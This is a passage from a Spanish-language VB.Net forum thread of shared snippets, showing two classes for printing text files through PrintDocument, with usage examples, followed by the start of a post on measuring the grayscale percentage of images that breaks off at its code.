  153.    ''' Initializes a new instance of the <see cref="PrintDocumentBasic"/> class.
  154.    ''' </summary>
  155.    ''' ----------------------------------------------------------------------------------------------------
  156.    ''' <param name="filepath">
  157.    ''' The document file path.
  158.    ''' </param>
  159.    '''
  160.    ''' <param name="encoding">
  161.    ''' The text encoding.
  162.    ''' </param>
  163.    ''' ----------------------------------------------------------------------------------------------------
  164.    ''' <exception cref="FileNotFoundException">
  165.    ''' </exception>
  166.    ''' ----------------------------------------------------------------------------------------------------
  167.    <DebuggerStepThrough>
  168.    Public Sub New(ByVal filepath As String, ByVal encoding As Encoding)
  169.        Me.PrintDocument = New PrintDocument() With {
  170.            .DocumentName = filepath
  171.        }
  172.  
  173.        Me.Filepath = filepath
  174.        Me.Color = Color.Black
  175.  
  176.        Me.PrinterName = ""
  177.  
  178.        If (encoding Is Nothing) Then
  179.            Me.documentStream = New StreamReader(filepath, detectEncodingFromByteOrderMarks:=True)
  180.            Me.Encoding = Me.documentStream.CurrentEncoding
  181.        Else
  182.            Me.Encoding = encoding
  183.            Me.documentStream = New StreamReader(filepath, encoding, detectEncodingFromByteOrderMarks:=False)
  184.        End If
  185.    End Sub
  186.  
  187. #End Region
  188.  
  189. #Region " Public Methods "
  190.  
  191.    ''' ----------------------------------------------------------------------------------------------------
  192.    ''' <summary>
  193.    ''' Prints the current document.
  194.    ''' </summary>
  195.    ''' ----------------------------------------------------------------------------------------------------
  196.    ''' <exception cref="IOException">
  197.    ''' No printer device is installed.
  198.    ''' </exception>
  199.    '''
  200.    ''' <exception cref="ArgumentException">
  201.    ''' Printer name is not valid.
  202.    ''' </exception>
  203.    ''' ----------------------------------------------------------------------------------------------------
  204.    <DebuggerStepThrough>
  205.    Public Overridable Sub Print()
  206.  
  207.        If (PrinterSettings.InstalledPrinters.Count = 0) Then
  208.            Throw New IOException("No printer device is installed.")
  209.        End If
  210.  
  211.        If Not String.IsNullOrEmpty(Me.PrinterSettings.PrinterName) AndAlso Not (Me.PrinterSettings.IsValid) Then
  212.            Throw New Exception("Printer name is not valid.")
  213.        End If
  214.  
  215.        Me.PrintDocument.PrinterSettings = Me.PrinterSettings
  216.        Me.PrintDocument.Print()
  217.  
  218.    End Sub
  219.  
  220.    ''' ----------------------------------------------------------------------------------------------------
  221.    ''' <summary>
  222.    ''' Cancels the print job for the current document.
  223.    ''' </summary>
  224.    ''' ----------------------------------------------------------------------------------------------------
  225.    ''' <exception cref="Exception">
  226.    ''' Print job not found.
  227.    ''' </exception>
  228.    ''' ----------------------------------------------------------------------------------------------------
  229.    <DebuggerStepThrough>
  230.    Public Overridable Sub CancelPrint()
  231.  
  232.        Dim scope As New ManagementScope("root\CIMV2")
  233.        Dim query As New SelectQuery(String.Format("SELECT * FROM Win32_PrintJob WHERE Document = '{0}'", Me.PrintDocument.DocumentName))
  234.        Dim options As New EnumerationOptions With {
  235.                .ReturnImmediately = True,
  236.                .Rewindable = False,
  237.                .DirectRead = True,
  238.                .EnumerateDeep = False
  239.            }
  240.  
  241.        Using mos As New ManagementObjectSearcher(scope, query, options),
  242.              moc As ManagementObjectCollection = mos.Get()
  243.  
  244.            If (moc.Count = 0) Then
  245.                Throw New Exception("Print job not found.")
  246.            End If
  247.  
  248.            For Each mo As ManagementObject In moc
  249.                mo.Delete()
  250.            Next mo
  251.  
  252.        End Using
  253.  
  254.    End Sub
  255.  
  256. #End Region
  257.  
  258. #Region " Event-Handlers "
  259.  
  260.    ''' ----------------------------------------------------------------------------------------------------
  261.    ''' <summary>
  262.    ''' Handles the <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event
  263.    ''' of the <see cref="PrintDocumentBasic.PrintDocument"/> component.
  264.    ''' </summary>
  265.    ''' ----------------------------------------------------------------------------------------------------
  266.    ''' <param name="sender">
  267.    ''' The source of the event.
  268.    ''' </param>
  269.    '''
  270.    ''' <param name="e">
  271.    ''' The <see cref="PrintEventArgs"/> instance containing the event data.
  272.    ''' </param>
  273.    ''' ----------------------------------------------------------------------------------------------------
  274.    <DebuggerStepperBoundary>
  275.    Protected Overridable Sub PrintDocument_BeginPrint(ByVal sender As Object, ByVal e As PrintEventArgs) Handles PrintDocument.BeginPrint
  276.        If (Me.Font Is Nothing) Then
  277.            Me.Font = New Font("Arial", 10.0F, FontStyle.Regular)
  278.        End If
  279.    End Sub
  280.  
  281.    ''' ----------------------------------------------------------------------------------------------------
  282.    ''' <summary>
  283.    ''' Handles the <see cref="System.Drawing.Printing.PrintDocument.QueryPageSettings"/> event
  284.    ''' of the <see cref="PrintDocumentBasic.PrintDocument"/> component.
  285.    ''' </summary>
  286.    ''' ----------------------------------------------------------------------------------------------------
  287.    ''' <param name="sender">
  288.    ''' The source of the event.
  289.    ''' </param>
  290.    '''
  291.    ''' <param name="e">
  292.    ''' The <see cref="QueryPageSettingsEventArgs"/> instance containing the event data.
  293.    ''' </param>
  294.    ''' ----------------------------------------------------------------------------------------------------
  295.    <DebuggerStepperBoundary>
  296.    Protected Overridable Sub PrintDocument_QueryPageSettings(ByVal sender As Object, ByVal e As QueryPageSettingsEventArgs) Handles PrintDocument.QueryPageSettings
  297.  
  298.    End Sub
  299.  
  300.    ''' ----------------------------------------------------------------------------------------------------
  301.    ''' <summary>
  302.    ''' Handles the <see cref="System.Drawing.Printing.PrintDocument.PrintPage"/> event
  303.    ''' of the <see cref="PrintDocumentBasic.PrintDocument"/> component.
  304.    ''' </summary>
  305.    ''' ----------------------------------------------------------------------------------------------------
  306.    ''' <param name="sender">
  307.    ''' The source of the event.
  308.    ''' </param>
  309.    '''
  310.    ''' <param name="e">
  311.    ''' The <see cref="PrintPageEventArgs"/> instance containing the event data.
  312.    ''' </param>
  313.    ''' ----------------------------------------------------------------------------------------------------
  314.    <DebuggerStepperBoundary>
  315.    Protected Overridable Sub PrintDocument_PrintPage(ByVal sender As Object, ByVal e As PrintPageEventArgs) Handles PrintDocument.PrintPage
  316.  
  317.        ' Page settings.
  318.        Dim brush As New SolidBrush(Me.Color)
  319.        Dim stringFormat As New StringFormat()
  320.        Dim leftMargin As Single = e.MarginBounds.Left
  321.        Dim topMargin As Single = e.MarginBounds.Top
  322.  
  323.        ' Calculate the number of lines per page.
  324.        Dim linesPerPage As Single = (e.MarginBounds.Height / Me.Font.GetHeight(e.Graphics))
  325.  
  326.        ' Iterate over the file, printing each line.
  327.        Dim line As String = Nothing
  328.        Dim count As Integer
  329.        While (count < linesPerPage)
  330.            line = Me.documentStream.ReadLine()
  331.            If (line Is Nothing) Then
  332.                Exit While
  333.            End If
  334.            Dim yPos As Single = (topMargin + count * Me.Font.GetHeight(e.Graphics))
  335.            e.Graphics.DrawString(line, Me.Font, brush, leftMargin, yPos, stringFormat)
  336.            count += 1
  337.        End While
  338.  
  339.        brush.Dispose()
  340.        stringFormat.Dispose()
  341.  
  342.        ' If more lines exist, print another page.
  343.        e.HasMorePages = (line IsNot Nothing)
  344.  
  345.    End Sub
  346.  
  347.    ''' ----------------------------------------------------------------------------------------------------
  348.    ''' <summary>
  349.    ''' Handles the <see cref="System.Drawing.Printing.PrintDocument.EndPrint"/> event
  350.    ''' of the <see cref="PrintDocumentBasic.PrintDocument"/> component.
  351.    ''' </summary>
  352.    ''' ----------------------------------------------------------------------------------------------------
  353.    ''' <param name="sender">
  354.    ''' The source of the event.
  355.    ''' </param>
  356.    '''
  357.    ''' <param name="e">
  358.    ''' The <see cref="PrintEventArgs"/> instance containing the event data.
  359.    ''' </param>
  360.    ''' ----------------------------------------------------------------------------------------------------
  361.    <DebuggerStepperBoundary>
  362.    Protected Overridable Sub PrintDocument_EndPrint(ByVal sender As Object, ByVal e As PrintEventArgs) Handles PrintDocument.EndPrint
  363.  
  364.    End Sub
  365.  
  366. #End Region
  367.  
  368. #Region " IDisposable Implementation "
  369.  
  370.    ''' ----------------------------------------------------------------------------------------------------
  371.    ''' <summary>
  372.    ''' Flag to detect redundant calls when disposing.
  373.    ''' </summary>
  374.    ''' ----------------------------------------------------------------------------------------------------
  375.    Private isDisposed As Boolean = False
  376.  
  377.    ''' ----------------------------------------------------------------------------------------------------
  378.    ''' <summary>
  379.    ''' Releases all the resources used by this <see cref="PrintDocumentBasic"/> instance.
  380.    ''' </summary>
  381.    ''' ----------------------------------------------------------------------------------------------------
  382.    <DebuggerStepThrough>
  383.    Public Sub Dispose() Implements IDisposable.Dispose
  384.        Me.Dispose(isDisposing:=True)
  385.        GC.SuppressFinalize(obj:=Me)
  386.    End Sub
  387.  
  388.    ''' ----------------------------------------------------------------------------------------------------
  389.    ''' <summary>
  390.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  391.    ''' </summary>
  392.    ''' ----------------------------------------------------------------------------------------------------
  393.    ''' <param name="isDisposing">
  394.    ''' <see langword="True"/>  to release both managed and unmanaged resources;
  395.    ''' <see langword="False"/> to release only unmanaged resources.
  396.    ''' </param>
  397.    ''' ----------------------------------------------------------------------------------------------------
  398.    <DebuggerStepThrough>
  399.    Protected Overridable Sub Dispose(ByVal isDisposing As Boolean)
  400.  
  401.        If (Not Me.isDisposed) AndAlso (isDisposing) Then
  402.            If (Me.PrintDocument IsNot Nothing) Then
  403.                Me.PrintDocument.Dispose()
  404.                Me.PrintDocument = Nothing
  405.            End If
  406.  
  407.            If (Me.documentStream IsNot Nothing) Then
  408.                Me.documentStream.Close()
  409.                Me.documentStream = Nothing
  410.            End If
  411.  
  412.            If (Me.Font IsNot Nothing) Then
  413.                Me.Font.Dispose()
  414.                Me.Font = Nothing
  415.            End If
  416.  
  417.        End If
  418.  
  419.        Me.isDisposed = True
  420.  
  421.    End Sub
  422.  
  423. #End Region
  424.  
  425. End Class

MODO DE EMPLEO:
Código
  1. Using printBasic As New PrintDocumentBasic("C:\Document.txt", Encoding.Default)
  2.    printBasic.PrinterName = ""
  3.    printBasic.Font = New Font("Arial", 10.0F, FontStyle.Regular)
  4.    printBasic.Color = Color.Black
  5.  
  6.    printBasic.Print()
  7.    ' printBasic.CancelPrint()
  8. End Using



PrintDocumentExpert
Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Prints a text document.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <seealso cref="IDisposable" />
  7. ''' ----------------------------------------------------------------------------------------------------
  8. Public Class PrintDocumentExpert : Implements IDisposable
  9.  
  10. #Region " Private Fields "
  11.  
  12.    ''' ----------------------------------------------------------------------------------------------------
  13.    ''' <summary>
  14.    ''' The <see cref="System.Drawing.Printing.PrintDocument"/> component to print the document.
  15.    ''' </summary>
  16.    ''' ----------------------------------------------------------------------------------------------------
  17.    Protected WithEvents PrintDocument As PrintDocument
  18.  
  19. #End Region
  20.  
  21. #Region " Properties "
  22.  
  23.    ''' ----------------------------------------------------------------------------------------------------
  24.    ''' <summary>
  25.    ''' Gets the document file path.
  26.    ''' </summary>
  27.    ''' ----------------------------------------------------------------------------------------------------
  28.    ''' <value>
  29.    ''' The document file path.
  30.    ''' </value>
  31.    ''' ----------------------------------------------------------------------------------------------------
  32.    Public ReadOnly Property Filepath As String
  33.  
  34.    ''' ----------------------------------------------------------------------------------------------------
  35.    ''' <summary>
  36.    ''' Gets or sets the text encoding.
  37.    ''' <para></para>
  38.    ''' If no encoding is specified, the default system encoding will be used.
  39.    ''' </summary>
  40.    ''' ----------------------------------------------------------------------------------------------------
  41.    ''' <value>
  42.    ''' The text encoding.
  43.    ''' </value>
  44.    ''' ----------------------------------------------------------------------------------------------------
  45.    Public Property Encoding As Encoding
  46.  
  47.    ''' ----------------------------------------------------------------------------------------------------
  48.    ''' <summary>
  49.    ''' Gets or sets the <see cref="StreamReader"/> instance that encapsulates the document data to be read and printed.
  50.    ''' </summary>
  51.    ''' ----------------------------------------------------------------------------------------------------
  52.    ''' <value>
  53.    ''' The <see cref="StreamReader"/> instance that encapsulates the document data to be read and printed.
  54.    ''' </value>
  55.    ''' ----------------------------------------------------------------------------------------------------
  56.    Public ReadOnly Property DocumentStream As StreamReader
  57.  
  58.    ''' ----------------------------------------------------------------------------------------------------
  59.    ''' <summary>
  60.    ''' Gets or sets the <see cref="System.Drawing.Printing.PrinterSettings"/> instance that specifies
  61.    ''' information about how a document is printed, including the printer that prints it.
  62.    ''' </summary>
  63.    ''' ----------------------------------------------------------------------------------------------------
  64.    ''' <value>
  65.    ''' The <see cref="System.Drawing.Printing.PrinterSettings"/> instance that specifies
  66.    ''' information about how a document is printed, including the printer that prints it.
  67.    ''' </value>
  68.    ''' ----------------------------------------------------------------------------------------------------
  69.    Public Property PrinterSettings As PrinterSettings
  70.  
  71.    ''' ----------------------------------------------------------------------------------------------------
  72.    ''' <summary>
  73.    ''' Gets or sets the <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
  74.    ''' <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event.
  75.    ''' </summary>
  76.    ''' ----------------------------------------------------------------------------------------------------
  77.    ''' <value>
  78.    ''' The <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
  79.    ''' <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event.
  80.    ''' </value>
  81.    ''' ----------------------------------------------------------------------------------------------------
  82.    Public Property BeginPrintEventHandler As PrintEventHandler
  83.  
  84.    ''' ----------------------------------------------------------------------------------------------------
  85.    ''' <summary>
  86.    ''' Gets or sets the <see cref="System.Drawing.Printing.QueryPageSettingsEventHandler"/> delegate method to handle the
  87.    ''' <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event.
  88.    ''' </summary>
  89.    ''' ----------------------------------------------------------------------------------------------------
  90.    ''' <value>
  91.    ''' The <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
  92.    ''' <see cref="System.Drawing.Printing.PrintDocument.QueryPageSettings"/> event.
  93.    ''' </value>
  94.    ''' ----------------------------------------------------------------------------------------------------
  95.    Public Property QueryPageSettingsEventHandler As QueryPageSettingsEventHandler
  96.  
  97.    ''' ----------------------------------------------------------------------------------------------------
  98.    ''' <summary>
  99.    ''' Gets or sets the <see cref="System.Drawing.Printing.PrintPageEventHandler"/> delegate method to handle the
  100.    ''' <see cref="System.Drawing.Printing.PrintDocument.PrintPage"/> event.
  101.    ''' </summary>
  102.    ''' ----------------------------------------------------------------------------------------------------
  103.    ''' <value>
  104.    ''' The <see cref="System.Drawing.Printing.PrintPageEventHandler"/> delegate method to handle the
  105.    ''' <see cref="System.Drawing.Printing.PrintDocument.PrintPage"/> event.
  106.    ''' </value>
  107.    ''' ----------------------------------------------------------------------------------------------------
  108.    Public Property PrintPageEventHandler As PrintPageEventHandler
  109.  
  110.    ''' ----------------------------------------------------------------------------------------------------
  111.    ''' <summary>
  112.    ''' Gets or sets the <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
  113.    ''' <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event.
  114.    ''' </summary>
  115.    ''' ----------------------------------------------------------------------------------------------------
  116.    ''' <value>
  117.    ''' The <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
  118.    ''' <see cref="System.Drawing.Printing.PrintDocument.EndPrint"/> event.
  119.    ''' </value>
  120.    ''' ----------------------------------------------------------------------------------------------------
  121.    Public Property EndPrintEventHandler As PrintEventHandler
  122.  
  123. #End Region
  124.  
  125. #Region " Constructors "
  126.  
  127.    ''' ----------------------------------------------------------------------------------------------------
  128.    ''' <summary>
  129.    ''' Prevents a default instance of the <see cref="PrintDocumentExpert"/> class from being created.
  130.    ''' </summary>
  131.    ''' ----------------------------------------------------------------------------------------------------
  132.    <DebuggerNonUserCode>
  133.    Private Sub New()
  134.    End Sub
  135.  
  136.    ''' ----------------------------------------------------------------------------------------------------
  137.    ''' <summary>
  138.    ''' Initializes a new instance of the <see cref="PrintDocumentExpert"/> class.
  139.    ''' </summary>
  140.    ''' ----------------------------------------------------------------------------------------------------
  141.    ''' <param name="filepath">
  142.    ''' The document file path.
  143.    ''' </param>
  144.    ''' ----------------------------------------------------------------------------------------------------
  145.    ''' <exception cref="FileNotFoundException">
  146.    ''' </exception>
  147.    ''' ----------------------------------------------------------------------------------------------------
  148.    <DebuggerStepThrough>
  149.    Public Sub New(ByVal filepath As String)
  150.        Me.New(filepath, encoding:=Nothing)
  151.    End Sub
  152.  
  153.    ''' ----------------------------------------------------------------------------------------------------
  154.    ''' <summary>
  155.    ''' Initializes a new instance of the <see cref="PrintDocumentExpert"/> class.
  156.    ''' </summary>
  157.    ''' ----------------------------------------------------------------------------------------------------
  158.    ''' <param name="filepath">
  159.    ''' The document file path.
  160.    ''' </param>
  161.    '''
  162.    ''' <param name="encoding">
  163.    ''' The text encoding.
  164.    ''' </param>
  165.    ''' ----------------------------------------------------------------------------------------------------
  166.    ''' <exception cref="FileNotFoundException">
  167.    ''' </exception>
  168.    ''' ----------------------------------------------------------------------------------------------------
  169.    <DebuggerStepThrough>
  170.    Public Sub New(ByVal filepath As String, ByVal encoding As Encoding)
  171.        Me.PrintDocument = New PrintDocument() With {
  172.            .DocumentName = filepath
  173.        }
  174.  
  175.        Me.Filepath = filepath
  176.  
  177.        If (encoding Is Nothing) Then
  178.            Me.DocumentStream = New StreamReader(filepath, detectEncodingFromByteOrderMarks:=True)
  179.            Me.Encoding = Me.DocumentStream.CurrentEncoding
  180.        Else
  181.            Me.Encoding = encoding
  182.            Me.DocumentStream = New StreamReader(filepath, encoding, detectEncodingFromByteOrderMarks:=False)
  183.        End If
  184.    End Sub
  185.  
  186. #End Region
  187.  
  188. #Region " Public Methods "
  189.  
  190.    ''' ----------------------------------------------------------------------------------------------------
  191.    ''' <summary>
  192.    ''' Prints the current document.
  193.    ''' </summary>
  194.    ''' ----------------------------------------------------------------------------------------------------
  195.    ''' <exception cref="IOException">
  196.    ''' No printer device is installed.
  197.    ''' </exception>
  198.    '''
  199.    ''' <exception cref="Exception">
  200.    ''' Printer name is not valid.
  201.    ''' </exception>
  202.    '''
  203.    ''' <exception cref="Exception">
  204.    ''' The 'PrintDocumentExpert.PrintPageEventHandler' property must be set before calling the 'PrintDocumentExpert.Print()' method.
  205.    ''' </exception>
  206.    ''' ----------------------------------------------------------------------------------------------------
  207.    <DebuggerStepThrough>
  208.    Public Overridable Sub Print()
  209.  
  210.        If (PrinterSettings.InstalledPrinters.Count = 0) Then
  211.            Throw New IOException("No printer device is installed.")
  212.        End If
  213.  
  214.        If Not String.IsNullOrEmpty(Me.PrinterSettings.PrinterName) AndAlso Not (Me.PrinterSettings.IsValid) Then
  215.            Throw New Exception("Printer name is not valid.")
  216.        End If
  217.  
  218.        If (Me.PrintPageEventHandler Is Nothing) Then
  219.            Throw New Exception("The 'PrintDocumentExpert.PrintPageEventHandler' property must be set before calling the 'PrintDocumentExpert.Print()' method.")
  220.        End If
  221.  
  222.        AddHandler Me.PrintDocument.BeginPrint, Me.BeginPrintEventHandler
  223.        AddHandler Me.PrintDocument.QueryPageSettings, Me.QueryPageSettingsEventHandler
  224.        AddHandler Me.PrintDocument.PrintPage, Me.PrintPageEventHandler
  225.        AddHandler Me.PrintDocument.EndPrint, Me.EndPrintEventHandler
  226.  
  227.        Me.PrintDocument.PrinterSettings = Me.PrinterSettings
  228.        Me.PrintDocument.Print()
  229.  
  230.        RemoveHandler Me.PrintDocument.BeginPrint, Me.BeginPrintEventHandler
  231.        RemoveHandler Me.PrintDocument.QueryPageSettings, Me.QueryPageSettingsEventHandler
  232.        RemoveHandler Me.PrintDocument.PrintPage, Me.PrintPageEventHandler
  233.        RemoveHandler Me.PrintDocument.EndPrint, Me.EndPrintEventHandler
  234.  
  235.    End Sub
  236.  
  237.    ''' ----------------------------------------------------------------------------------------------------
  238.    ''' <summary>
  239.    ''' Cancels the print job for the current document.
  240.    ''' </summary>
  241.    ''' ----------------------------------------------------------------------------------------------------
  242.    ''' <exception cref="Exception">
  243.    ''' Print job not found.
  244.    ''' </exception>
  245.    ''' ----------------------------------------------------------------------------------------------------
  246.    <DebuggerStepThrough>
  247.    Public Overridable Sub CancelPrint()
  248.  
  249.        Dim scope As New ManagementScope("root\CIMV2")
  250.        Dim query As New SelectQuery(String.Format("SELECT * FROM Win32_PrintJob WHERE Document = '{0}'", Me.PrintDocument.DocumentName))
  251.        Dim options As New EnumerationOptions With {
  252.                .ReturnImmediately = True,
  253.                .Rewindable = False,
  254.                .DirectRead = True,
  255.                .EnumerateDeep = False
  256.            }
  257.  
  258.        Using mos As New ManagementObjectSearcher(scope, query, options),
  259.              moc As ManagementObjectCollection = mos.Get()
  260.  
  261.            If (moc.Count = 0) Then
  262.                Throw New Exception("Print job not found.")
  263.            End If
  264.  
  265.            For Each mo As ManagementObject In moc
  266.                mo.Delete()
  267.            Next mo
  268.  
  269.        End Using
  270.  
  271.    End Sub
  272.  
  273. #End Region
  274.  
  275. #Region " IDisposable Implementation "
  276.  
  277.    ''' ----------------------------------------------------------------------------------------------------
  278.    ''' <summary>
  279.    ''' Flag to detect redundant calls when disposing.
  280.    ''' </summary>
  281.    ''' ----------------------------------------------------------------------------------------------------
  282.    Private isDisposed As Boolean = False
  283.  
  284.    ''' ----------------------------------------------------------------------------------------------------
  285.    ''' <summary>
  286.    ''' Releases all the resources used by this <see cref="PrintDocumentBasic"/> instance.
  287.    ''' </summary>
  288.    ''' ----------------------------------------------------------------------------------------------------
  289.    <DebuggerStepThrough>
  290.    Public Sub Dispose() Implements IDisposable.Dispose
  291.        Me.Dispose(isDisposing:=True)
  292.        GC.SuppressFinalize(obj:=Me)
  293.    End Sub
  294.  
  295.    ''' ----------------------------------------------------------------------------------------------------
  296.    ''' <summary>
  297.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  298.    ''' </summary>
  299.    ''' ----------------------------------------------------------------------------------------------------
  300.    ''' <param name="isDisposing">
  301.    ''' <see langword="True"/>  to release both managed and unmanaged resources;
  302.    ''' <see langword="False"/> to release only unmanaged resources.
  303.    ''' </param>
  304.    ''' ----------------------------------------------------------------------------------------------------
  305.    <DebuggerStepThrough>
  306.    Protected Overridable Sub Dispose(ByVal isDisposing As Boolean)
  307.  
  308.        If (Not Me.isDisposed) AndAlso (isDisposing) Then
  309.  
  310.            If (Me.PrintDocument IsNot Nothing) Then
  311.                Me.PrintDocument.Dispose()
  312.                Me.PrintDocument = Nothing
  313.            End If
  314.  
  315.            If (Me.DocumentStream IsNot Nothing) Then
  316.                Me.DocumentStream.Close()
  317.            End If
  318.  
  319.        End If
  320.  
  321.        Me.isDisposed = True
  322.  
  323.    End Sub
  324.  
  325. #End Region
  326.  
  327. End Class

MODO DE EMPLEO:
Código
  1. Public Module Module1
  2.  
  3.    Private printExpert As PrintDocumentExpert
  4.  
  5.    Public Sub Main()
  6.  
  7.        printExpert = New PrintDocumentExpert("C:\Document.txt", Encoding.Default)
  8.  
  9.        Using printExpert
  10.            printExpert.PrinterSettings = New PrinterSettings With {
  11.                    .PrinterName = "My Printer Name"
  12.                }
  13.  
  14.            printExpert.BeginPrintEventHandler = AddressOf PrintDocument_BeginPrint
  15.            printExpert.QueryPageSettingsEventHandler = AddressOf PrintDocument_QueryPageSettings
  16.            printExpert.PrintPageEventHandler = AddressOf PrintDocument_PrintPage
  17.            printExpert.EndPrintEventHandler = AddressOf PrintDocument_EndPrint
  18.  
  19.            printExpert.Print()
  20.        End Using
  21.  
  22.    End Sub
  23.  
  24.    Public Sub PrintDocument_BeginPrint(ByVal sender As Object, ByVal e As PrintEventArgs)
  25.    End Sub
  26.  
  27.    Public Sub PrintDocument_QueryPageSettings(ByVal sender As Object, ByVal e As QueryPageSettingsEventArgs)
  28.    End Sub
  29.  
  30.    Public Sub PrintDocument_PrintPage(ByVal sender As Object, ByVal e As PrintPageEventArgs)
  31.        ' Page settings.
  32.        Dim font As New Font("Arial", 10.0F, FontStyle.Regular)
  33.        Dim brush As New SolidBrush(Color.Green)
  34.        Dim stringFormat As New StringFormat()
  35.        Dim leftMargin As Single = e.MarginBounds.Left
  36.        Dim topMargin As Single = e.MarginBounds.Top
  37.  
  38.        ' Calculate the number of lines per page.
  39.        Dim linesPerPage As Single = (e.MarginBounds.Height / font.GetHeight(e.Graphics))
  40.  
  41.        ' Iterate over the file, printing each line.
  42.        Dim line As String = Nothing
  43.        Dim count As Integer
  44.        While (count < linesPerPage)
  45.            line = printExpert.DocumentStream.ReadLine()
  46.            If (line Is Nothing) Then
  47.                Exit While
  48.            End If
  49.            Dim yPos As Single = (topMargin + count * font.GetHeight(e.Graphics))
  50.            e.Graphics.DrawString(line, font, brush, leftMargin, yPos, stringFormat)
  51.            count += 1
  52.        End While
  53.  
  54.        font.Dispose()
  55.        brush.Dispose()
  56.        stringFormat.Dispose()
  57.  
  58.        ' If more lines exist, print another page.
  59.        e.HasMorePages = (line IsNot Nothing)
  60.    End Sub
  61.  
  62.    Public Sub PrintDocument_EndPrint(ByVal sender As Object, ByVal e As PrintEventArgs)
  63.    End Sub
  64.  
  65. End Module

MODO DE EMPLEO ALTERNATIVO:
Código
  1. Public Sub Main()
  2.  
  3.    Dim printExpert As PrintDocumentExpert = Nothing
  4.  
  5.    Dim beginPrintEventHandler As PrintEventHandler =
  6.        Sub(ByVal sender As Object, ByVal e As PrintEventArgs)
  7.        End Sub
  8.  
  9.    Dim queryPageSettingsEventHandler As QueryPageSettingsEventHandler =
  10.        Sub(ByVal sender As Object, ByVal e As QueryPageSettingsEventArgs)
  11.        End Sub
  12.  
  13.    Dim printPageEventHandler As PrintPageEventHandler =
  14.    Sub(ByVal sender As Object, ByVal e As PrintPageEventArgs)
  15.        ' Page settings.
  16.        Dim font As New Font("Arial", 10.0F, FontStyle.Regular)
  17.        Dim brush As New SolidBrush(Color.Green)
  18.        Dim stringFormat As New StringFormat()
  19.        Dim leftMargin As Single = e.MarginBounds.Left
  20.        Dim topMargin As Single = e.MarginBounds.Top
  21.  
  22.        ' Calculate the number of lines per page.
  23.        Dim linesPerPage As Single = (e.MarginBounds.Height / font.GetHeight(e.Graphics))
  24.  
  25.        ' Iterate over the file, printing each line.
  26.        Dim line As String = Nothing
  27.        Dim count As Integer
  28.        While (count < linesPerPage)
  29.            line = printExpert.DocumentStream.ReadLine()
  30.            If (line Is Nothing) Then
  31.                Exit While
  32.            End If
  33.            Dim yPos As Single = (topMargin + count * font.GetHeight(e.Graphics))
  34.            e.Graphics.DrawString(line, font, brush, leftMargin, yPos, stringFormat)
  35.            count += 1
  36.        End While
  37.  
  38.        font.Dispose()
  39.        brush.Dispose()
  40.        stringFormat.Dispose()
  41.  
  42.        ' If more lines exist, print another page.
  43.        e.HasMorePages = (line IsNot Nothing)
  44.    End Sub
  45.  
  46.    Dim endPrintEventHandler As PrintEventHandler =
  47.        Sub(ByVal sender As Object, ByVal e As PrintEventArgs)
  48.        End Sub
  49.  
  50.    printExpert = New PrintDocumentExpert("C:\Document.txt", Encoding.Default)
  51.    Using printExpert
  52.        printExpert.PrinterSettings = New PrinterSettings With {
  53.            .PrinterName = "My Printer Name"
  54.        }
  55.  
  56.        printExpert.BeginPrintEventHandler = beginPrintEventHandler
  57.        printExpert.QueryPageSettingsEventHandler = queryPageSettingsEventHandler
  58.        printExpert.PrintPageEventHandler = printPageEventHandler
  59.        printExpert.EndPrintEventHandler = endPrintEventHandler
  60.  
  61.        printExpert.Print()
  62.    End Using
  63.  
  64. End Sub


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 29 Marzo 2018, 04:27 am
¿Cómo determinar el porcentaje de escala de grises (a.k.a Grayscale ) en una imagen?

El siguiente algoritmo sirve para determinar el porcentaje de presencia de escala de grises en una imagen, y con ese pocertaje el programador puede tener la libertad de considerar si la imagen es en escala de grises o no lo es; por ejemplo si una imagen de 256x256px de compone de un 80% de píxeles con color en escala de grises (es decir ROJO = VERDE = AZUL), quizás queramos tratar ese tipo de imagen como una imagen en escala de grises, aunque solo lo sea parcialmente.

La necesidad de usar esta metodología basada en porcentajes tiene un buen motivo, y es que cualquier imagen desaturada probablemente la querramos considerar como una imagen en escala de grises, aunque por definición no lo sea, como por ejemplo estas imagenes de aquí abajo las cuales NO son en escala de grises (la paleta entera de colores)...

(https://media.giphy.com/media/arxpbcz7poAMw/giphy.gif) (http://38.media.tumblr.com/d908298b5aecf35b935a13350e1382e5/tumblr_ml1jv8Aw2C1rzqhqro1_500.gif) (http://gifimage.net/wp-content/uploads/2017/08/pretty-gif-13.gif)

(http://gifimage.net/wp-content/uploads/2017/09/anime-black-and-white-gif-14.gif) (https://lh3.googleusercontent.com/-255xLRGKV7Y/VdiA1n5n0wI/AAAAAAAAB4c/rHUjhVR5lSU/w426-h238/Goku%2527s%2BHD%2BGoodbye.gif)

son imágenes desaturadas pero probablemente ese tipo de imágenes las querramos considerar como escala de grises en muchos escenarios para diferenciarlas del resto de imágenes...¿verdad?, es por ello que este tipo de metodología me pareció más útil y versatil para necesidades generales, aunque obviamente es un procedmiento más lento que otros al tener que analizar pixel por pixel para calcular un porcentaje de presencia de píxeles en escala de grises...

En fin, aquí abajo os dejo el código, pero debo avisar de que todavía NO está del todo acabado ni perfeccionado, me falta refactorizarlo y arreglar algunas pequeñas cosas, como por ejemplo aumentar la compatibilidad de formatos, analizar los píxeles del padding del stride ( https://msdn.microsoft.com/en-us/library/windows/desktop/aa473780(v=vs.85).aspx ), y tener en cuenta imágenes GIF con múltiples dimensiones (que no frames). Pero por el momento este código es algo que funciona bien para obtener los resultados esperados dentro de un margen de error aceptable, así que es una solución más que suficiente para los escenarios más simples y comunes.

EDITO: código mejorado
Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
